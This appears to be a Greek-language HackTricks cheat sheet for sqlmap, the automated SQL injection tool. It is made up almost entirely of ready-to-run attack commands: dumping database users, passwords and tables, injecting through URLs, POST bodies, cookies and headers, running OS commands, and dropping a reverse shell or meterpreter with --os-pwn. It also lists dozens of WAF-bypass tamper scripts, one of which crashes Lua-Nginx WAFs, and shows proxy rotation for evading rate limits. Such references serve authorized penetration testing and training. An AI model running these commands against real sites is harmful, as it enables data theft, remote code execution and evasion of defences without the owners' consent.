SQLMap

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές παράμετροι για το SQLmap

Γενικά

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Σημαίες τεχνικών (--technique)

Το όρισμα --technique ορίζει ποιες μεθόδους SQL injection θα επιχειρήσει το sqlmap. Κάθε χαρακτήρας στην αλυσίδα αντιπροσωπεύει μια τεχνική:

ΓράμμαΤεχνικήΠεριγραφή
BBoolean-based blindΧρησιμοποιεί συνθήκες true/false για να συναγάγει δεδομένα
EError-basedΕκμεταλλεύεται λεπτομερή μηνύματα σφάλματος του DBMS για να εξάγει αποτελέσματα
UUNION queryΕισάγει δηλώσεις UNION SELECT για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού
SStacked queriesΠροσθέτει επιπλέον εντολές διαχωρισμένες με ;
TTime-based blindΒασίζεται σε καθυστερήσεις (SLEEP, WAITFOR) για να ανιχνεύσει injection
QInline / out-of-bandΧρησιμοποιεί συναρτήσεις όπως LOAD_FILE() ή OOB κανάλια όπως DNS

Η προεπιλεγμένη σειρά είναι BEUSTQ. Μπορείτε να τις αναδιατάξετε ή να τις περιορίσετε, π.χ. μόνο Boolean και Time-based με αυτή τη σειρά:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Ανάκτηση Πληροφοριών

Εσωτερικά

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB δεδομένα

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Θέση Injection

Από την καταγραφή του Burp/ZAP

Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt

sqlmap -r req.txt --current-user

Έγχυση σε GET Request

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections σε Headers και άλλες HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Έγχυση δεύτερης τάξης

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Σάρωση ενός ιστότοπου με SQLmap και αυτόματη εκμετάλλευση

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Προσαρμογή Injection

Ορισμός κατάληξης

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Πρόθεμα

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Βοήθεια στον εντοπισμό boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperΠεριγραφή
apostrophemask.pyΑντικαθιστά τον χαρακτήρα απόστροφου με την πλήρους πλάτους UTF-8 αντίστοιχό του
apostrophenullencode.pyΑντικαθιστά τον χαρακτήρα απόστροφου με το μη έγκυρο διπλό Unicode αντίστοιχο
appendnullbyte.pyΠροσθέτει κωδικοποιημένο NULL byte στο τέλος του payload
base64encode.pyΚωδικοποιεί όλους τους χαρακτήρες του payload σε Base64
between.pyΑντικαθιστά τον τελεστή ‘>’ με ‘NOT BETWEEN 0 AND #’
bluecoat.pyΑντικαθιστά το κενό μετά την SQL εντολή με έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια αντικαθιστά το χαρακτήρα = με τον τελεστή LIKE
chardoubleencode.pyΚάνει διπλό URL-encoding σε όλους τους χαρακτήρες του payload (δεν επεξεργάζεται ήδη κωδικοποιημένους)
commalesslimit.pyΑντικαθιστά περιπτώσεις τύπου ‘LIMIT M, N’ με ‘LIMIT N OFFSET M’
commalessmid.pyΑντικαθιστά περιπτώσεις τύπου ‘MID(A, B, C)’ με ‘MID(A FROM B FOR C)’
concat2concatws.pyΑντικαθιστά περιπτώσεις τύπου ‘CONCAT(A, B)’ με ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyΚάνει URL-encoding σε όλους τους χαρακτήρες του payload (δεν επεξεργάζεται ήδη κωδικοποιημένους)
charunicodeencode.pyΚάνει Unicode-URL-encoding στους μη κωδικοποιημένους χαρακτήρες ενός payload (δεν επεξεργάζεται ήδη κωδικοποιημένους). “%u0022”
charunicodeescape.pyΚάνει Unicode-URL-encoding στους μη κωδικοποιημένους χαρακτήρες ενός payload (δεν επεξεργάζεται ήδη κωδικοποιημένους). “\u0022”
equaltolike.pyΑντικαθιστά όλες τις εμφανίσεις του τελεστή ίσον (‘=’) με τον τελεστή ‘LIKE’
escapequotes.pyΚάνει escape με backslash τα εισαγωγικά (’ και “)
greatest.pyΑντικαθιστά τον τελεστή ‘>’ με την αντίστοιχη GREATEST μορφή
halfversionedmorekeywords.pyΠροσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε keyword
ifnull2ifisnull.pyΑντικαθιστά περιπτώσεις τύπου ‘IFNULL(A, B)’ με ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyΠεριβάλλει ολόκληρο το query με σχολιασμό έκδοσης
modsecurityzeroversioned.pyΠεριβάλλει ολόκληρο το query με σχόλιο μηδενικής έκδοσης
multiplespaces.pyΠροσθέτει πολλαπλά κενά γύρω από SQL keywords
nonrecursivereplacement.pyΑντικαθιστά προκαθορισμένα SQL keywords με αναπαραστάσεις κατάλληλες για replacement (e.g. .replace(“SELECT”, “”)) φίλτρα
percentage.pyΠροσθέτει το σύμβολο ποσοστού (‘%’) μπροστά από κάθε χαρακτήρα
overlongutf8.pyΜετατρέπει όλους τους χαρακτήρες σε overlong UTF-8 σε ένα δεδομένο payload (δεν επεξεργάζεται ήδη κωδικοποιημένους)
randomcase.pyΑντικαθιστά κάθε χαρακτήρα keyword με τυχαίο case value
randomcomments.pyΠροσθέτει τυχαία σχόλια σε SQL keywords
securesphere.pyΠροσθέτει ειδικά κατασκευασμένη συμβολοσειρά
sp_password.pyΠροσθέτει ‘sp_password’ στο τέλος του payload για αυτόματη απόκρυψη από DBMS logs
space2comment.pyΑντικαθιστά το κενό (’ ’) με σχόλια
space2dash.pyΑντικαθιστά το κενό (’ ‘) με ένα dash comment (’–‘) ακολουθούμενο από τυχαία συμβολοσειρά και νέα γραμμή (’\n’)
space2hash.pyΑντικαθιστά το κενό (’ ‘) με ένα χαρακτήρα pound (’#‘) ακολουθούμενο από τυχαία συμβολοσειρά και νέα γραμμή (’\n’)
space2morehash.pyΑντικαθιστά το κενό (’ ‘) με ένα χαρακτήρα pound (’#‘) ακολουθούμενο από τυχαία συμβολοσειρά και νέα γραμμή (’\n’)
space2mssqlblank.pyΑντικαθιστά το κενό (’ ’) με τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
space2mssqlhash.pyΑντικαθιστά το κενό (’ ‘) με χαρακτήρα pound (’#‘) ακολουθούμενο από νέα γραμμή (’\n’)
space2mysqlblank.pyΑντικαθιστά το κενό (’ ’) με τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
space2mysqldash.pyΑντικαθιστά το κενό (’ ‘) με dash comment (’–‘) ακολουθούμενο από νέα γραμμή (’\n’)
space2plus.pyΑντικαθιστά το κενό (’ ‘) με plus (’+’)
space2randomblank.pyΑντικαθιστά το κενό (’ ’) με τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
symboliclogical.pyΑντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& and ||)
unionalltounion.pyΑντικαθιστά UNION ALL SELECT με UNION SELECT
unmagicquotes.pyΑντικαθιστά τον χαρακτήρα εισαγωγικών (’) με έναν multi-byte συνδυασμό %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει)
uppercase.pyΜετατρέπει κάθε χαρακτήρα keyword σε κεφαλαίο, π.χ. ‘INSERT’
varnish.pyΠροσθέτει HTTP header ‘X-originating-IP’
versionedkeywords.pyΕγκλείει κάθε μη-συναρτησιακό keyword με versioned MySQL σχόλιο
versionedmorekeywords.pyΕγκλείει κάθε keyword με versioned MySQL σχόλιο
xforwardedfor.pyΠροσθέτει ψευδές HTTP header ‘X-Forwarded-For’
luanginxmore.pyTamper μόνο για POST που προεπικαλεί εκατομμύρια ψεύτικες παραμέτρους για να εξαντλήσει τους parsers των Lua‑Nginx WAFs (e.g., Cloudflare).

luanginxmore δημιουργεί ~4.2M τυχαίες POST παραμέτρους πριν το payload σου· χρησιμοποίησέ το μόνο με --method=POST και να περιμένεις μεγάλες αιτήσεις που μπορεί να καταρρεύσουν κακώς ρυθμισμένα Lua-Nginx WAFs.

Πρόσφατες επιλογές που αξίζει να ενεργοποιήσετε (>=1.9.x)

  • HTTP/2 transport: --http2 αναγκάζει το sqlmap να χρησιμοποιεί HTTP/2 (χρήσιμο εναντίον front-ends που επιβάλλουν rate-limit για HTTP/1.1 αλλά χαλαρώνουν για h2). Συνδύασε με --force-ssl για να επιβάλλεις HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 θα κάνει εναλλαγή μέσα από μια λίστα proxies, αλλάζοντας proxy κάθε 3 αιτήσεις για να αποφύγει throttling βάσει IP.
  • Offline / purge modes: --offline επαναχρησιμοποιεί cached session data χωρίς να αγγίζει τον στόχο (μηδενική δικτυακή κίνηση), ενώ --purge σβήνει με ασφάλεια τον φάκελο session/output όταν τελειώσεις.
  • Mobile UA emulation: --mobile θα σε προτρέψει να πλαστογραφήσεις έναν δημοφιλή User-Agent smartphone, χρήσιμο σε APIs που εκθέτουν επιπλέον πεδία σε mobile clients.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks